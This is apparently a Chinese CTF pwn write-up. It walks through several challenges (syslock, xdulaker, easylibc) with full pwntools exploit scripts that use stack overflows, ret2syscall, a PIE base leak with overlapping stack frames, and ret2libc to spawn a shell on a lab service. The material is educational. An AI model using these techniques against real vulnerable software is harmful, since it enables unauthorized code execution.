io = remote('192.168.149.1',17215)
backdoor = 0x40123b
payload = b'meow\x00'.ljust(0x20,b'a') + b'a'*8 + p64(backdoor)
io.sendlineafter(b"What can u say?",payload)
io.sendlineafter(b"So,what size is it?",b'100')
io.interactive()

有些人的payload返回地址写的是0x401236,我写的是0x40123B或者0x40123E都可以,为什么401236不可以打通呢?因为0x401236对应有个指令endbr64:

endbr64 是什么?

endbr64Intel CET(Control-Flow Enforcement Technology,控制流强制技术) 中的指令,属于 Linux 系统的安全防护机制(主要用于防御跳转到函数中间的 ROP 攻击),其核心作用是:

  • 只有合法的间接调用 / 跳转(如正常的函数调用 call backdoor)才能通过 endbr64 的校验;
  • 若通过栈溢出、ROP 等非法方式直接跳转到 endbr64 指令,CPU 会触发 #CP 异常,程序直接崩溃退出。

简单来说:你通过栈溢出将返回地址覆盖为 0x401236endbr64 指令地址),属于非法跳转endbr64 的安全校验会直接让程序挂掉,这就是 0x401236 无效的根本原因,所以得往前一点调用,绕过这个指令。

syslock


系统调用是什么?system 函数使用了什么系统调用来启动一个 shell 子进程?如何进行系统调用?


IDA64位分析:

跟进input函数:

input函数

cheat函数

cheat函数这里有栈溢出漏洞,填充完后覆盖返回地址,因为有NX保护,这次我们就可以用ret2syscall

可以知道,第一次输入进的值会被转换程整数并赋值给i,接着i用来和4进行比较,i<=4就继续执行下列函数,read(0, (char *)&s + i, 12uLL);从标准输入读取 12 字节数据,写入到 &s + i 指向的内存地址

.bss段

可以看到i和s的距离是0x20。

大致思路就是,执行到input时输入一个数要绕过if ( i > 4 ),接着到read(0, (char *)&s + i, 12uLL);看过.bss段发现s和i相隔很近并且有if ( i != 59 )所以就应该要改写i==59才能执行cheat函数,这个办法就是再一开始就让i等于-32(0x20),这样&s-i就是&s-32=>&i,然后轮到read函数发挥作用,read(0, (char *)&s + i, 12uLL);变成read(0, (char *)&i, 12uLL);,此时输入59绕过下面if的判断,最后执行cheat函数,到常规的ret2syscall

1
ROPgadget --binary ./pwn --only "pop|ret|syscall"

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('192.168.149.1',31142)
io.sendlineafter("choose mode\n",b'-32')
payload = p32(0x3b) + b'/bin/sh\x00'
io.sendafter(b"Input your password\n",payload)
binsh = 0x404084
pop_rdi_rsi_rdx_ret = 0x401240 #0x0000000000401240 : pop rdi ; pop rsi ; pop rdx ; ret
pop_rax_ret = 0x401244 #0x0000000000401244 : pop rax ; ret
syscall = 0x401230 #0x0000000000401230 : syscall
payload = cyclic(0x40+8) + p64(pop_rdi_rsi_rdx_ret) + p64(binsh) + p64(0) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall)
io.sendlineafter(b"Developer Mode.\n",payload)
io.interactive()

对应payload = cyclic(0x40+8) + p64(pop_rdi_rsi_rdx_ret) + p64(binsh) + p64(0) + p64(0) + p64(pop_rax_ret) + p64(0x3b) + p64(syscall)(除去cyclic(0x40+8))

相当于汇编语言指令的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
; 步骤1:设置系统调用号(execve 的系统调用号是 59,0x3b也行)
mov rax, 59
; 步骤2:设置第一个参数 rdi = "/bin/sh\x00" 的地址
mov rdi, 0x404080  ; 假设 /bin/sh 存储在 0x404080 地址
; 步骤3:设置第二个参数 rsi = NULL(argv 数组为空)
mov rsi, 0
; 步骤4:设置第三个参数 rdx = NULL(envp 数组为空)
mov rdx, 0
; 步骤5:触发系统调用
syscall

还有一个地方就是binsh地址不应该是0x404080??

在之前不是要修改i为59吗?往i存储进了59这个值,占用了4字节,所以/bin/sh片段顺延存储到了0x404084了。

xdulaker


怎么有个大一新生走到湖里了?

栈上的数据不会无缘无故地被清理,你能根据这个信息拯救/成为laker吗?


checksec:

64位除关闭canary保护外其它保护全开。

随便运行一下:

也就是说随便点数字1、2就能切换不用重新运行函数,这样简化了我们的exp。

这里直接选3是不能执行的,main函数分析也可知道。

IDA64位分析:

main函数

photo函数

backdoor函数

laker函数

可以通过laker函数的s1来利用栈溢出漏洞,那么前面有个memcmp(s1, "xdulaker", 8uLL)检验,可惜的是在前面函数分析中,没有函数可以直接改写s1,此时s1是随机数垃圾值填充的,肯定是通过不了这个if的判断的。

看回photo函数,有意思的是,buf和s1这俩是栈帧重叠

栈帧重叠

也就是说我给buf填充了0x20后就跑到了S1了,这时我继续存进xdulaker,那么S1的前八位就是“xdulaker”了,也恰好能利用这个方法通过了if(memcmp(s1, "xdulaker", 8uLL))的判断了。

payload1:

1
2
3
io.sendlineafter(b'>',b'2')
payload1 = cyclic(0x20) + b'xdulaker'
io.sendlineafter(b"Hey,what's your name?!",payload1)

那么栈溢出也很简单了。

payload2:

1
2
3
io.sendlineafter(b'>',b'3')
payload2 = cyclic(0x30+8)+p64(backdoor_read_address)
io.sendafter(b"welcome,xdulaker",payload2)

看回checksec,还缺了一步,因为开启了PIE保护,所以地址不固定,backdoor函数需要计算真实地址。

已知pull函数给我们泄露了真实地址了,那我们需要找偏移量:

.data段_opt地址:0x4010

ELF基址和后门函数的真实地址计算:

1
2
3
4
5
io.sendlineafter(b">",'1')
io.recvuntil(b"Thanks,I'll give you a gift:")
opt_address = int(io.recv(14),16)
elf_base = opt_address - 0x4010
backdoor_read_address = 0x124E + elf_base

至此我们就能利用栈溢出漏洞调用真实地址后门函数了。

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('192.168.149.1',10983)
io.sendlineafter(b">",'1')
io.recvuntil(b"Thanks,I'll give you a gift:")
opt_address = int(io.recv(14),16)
elf_base = opt_address - 0x4010
backdoor_read_address = 0x124E + elf_base
io.sendlineafter(b'>',b'2')
payload1 = cyclic(0x20) + b'xdulaker'
io.sendlineafter(b"Hey,what's your name?!",payload1)
io.sendlineafter(b'>',b'3')
payload2 = cyclic(0x30+8)+p64(backdoor_read_address)
io.sendafter(b"welcome,xdulaker",payload2)
io.interactive()

总的来说这题逻辑性强,一步步来绕过if判断,这种“菜单”式选择题一般偏向考察栈帧重叠问题,在后续可以多留意此类问题。

easylibc


相信做了前面题的你,已经初步开始了解我们如何利用栈溢出来控制程序的执行流程了。在这道题,你将理解动态链接与延迟绑定,这里开启了ASLR和PIE,但是,我给了你一个小礼物来应对两个防护,务必妥善保管! 这个礼物某种情况下还会发生改变,成为另一种神兵利器,至于怎么改变,就要靠你自己去摸索了!

建议你利用gdb,完整的跟踪一下整个动态链接和延迟绑定的过程,这样你能更了解它究竟是怎么完成这个工作的,同时有助于你更加的了解ret2libc这种攻击。


checksec:

IDA64分析:

main函数

main函数泄露了read函数的真实地址。

vuln函数

存在明显的栈溢出漏洞。

这里就这些,啥也没给。题目提示了,需要我们用ret2libc手法去getshell,我们需要构造后门函数,这里就用ret2syscall,构造execve()的后门函数。

用ROPgadget去查询所需gadget的地址:

好好,啥也查不到,只能用libc去查了,有libc基址的话,就可以反推出gadget在程序的真实地址从而进行精准调用。

这里的gadget缺不满足构造syscall,因为rdx的gadget多出了一段rbx,这样会污染完整ROP链构造不了syscall,那就构造普通system("/bin/sh");后门函数吧。

泄露了read的真实地址,但是根据调用约定动态链接(可以看回作者的PWN-1文章)可以知道,第一次函数执行时,指针指向的是.got.plt,也就是说,第一次泄露的函数地址不是真实地址,而是plt地址,这就得运行第二次泄露才是read的真实地址,作者也是因为这个调用约定规则而被卡了好久。

所以说我们第一次运行就是为了过渡:

1
2
3
4
5
6
7
8
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
io.recvuntil(b"What is this?\nHow can I use ")
read1 = int(io.recv(14),16)   #.got.plt_read
elf_base = read1 - 0x1060
main = elf_base + 0x11D3
payload = cyclic(0x20+8)+ p64(main)
io.send(payload)

因为开启了PIE保护,空间地址随机化,所以需要计算出ELF基址才能得到main函数真实地址进而退回main函数。

然后找main函数的ELF偏移量,可以看到图中有个endbr64,这里会限制我们退回main函数,我们需要跳过这里的片段,直接到mov处指令:

main_offset:0x11D3

第二次运行了,此事泄露了真实的read地址:

1
2
3
io.recvuntil(b"What is this?\nHow can I use ")
read2 = int(io.recv(14),16)
libc_base = read2 - libc.sym['read']

做完这些前置准备后,就开始ROP构造了(64位程序,记得栈平衡!):

1
2
3
4
5
6
pop_rdi_ret = 0x000000000002a3e5 + libc_base
ret = 0x0000000000029139 + libc_base
system = libc.sym['system'] + libc_base
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0x20+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendafter(b"Damn!\n",payload)

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('192.168.149.1',50114)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
io.recvuntil(b"What is this?\nHow can I use ")
read1 = int(io.recv(14),16)   #.got.plt_read
elf_base = read1 - 0x1060
main = elf_base + 0x11D3
payload = cyclic(0x20+8)+ p64(main)
io.send(payload)
io.recvuntil(b"What is this?\nHow can I use ")
read2 = int(io.recv(14),16)
libc_base = read2 - libc.sym['read']
pop_rdi_ret = 0x000000000002a3e5 + libc_base
ret = 0x0000000000029139 + libc_base
system = libc.sym['system'] + libc_base
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = cyclic(0x20+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendafter(b"Damn!\n",payload)
io.interactive()

ezpivot


不是每一次我们都能遇到足够长的缓冲区溢出。这一次,只能溢出一点点,那你该怎么办呢?栈迁移就是解决这个问题的一个手段,通过栈迁移我们能获得足够的栈空间,但是请注意迁移之后的栈布局。


最后更新于 2025-11-27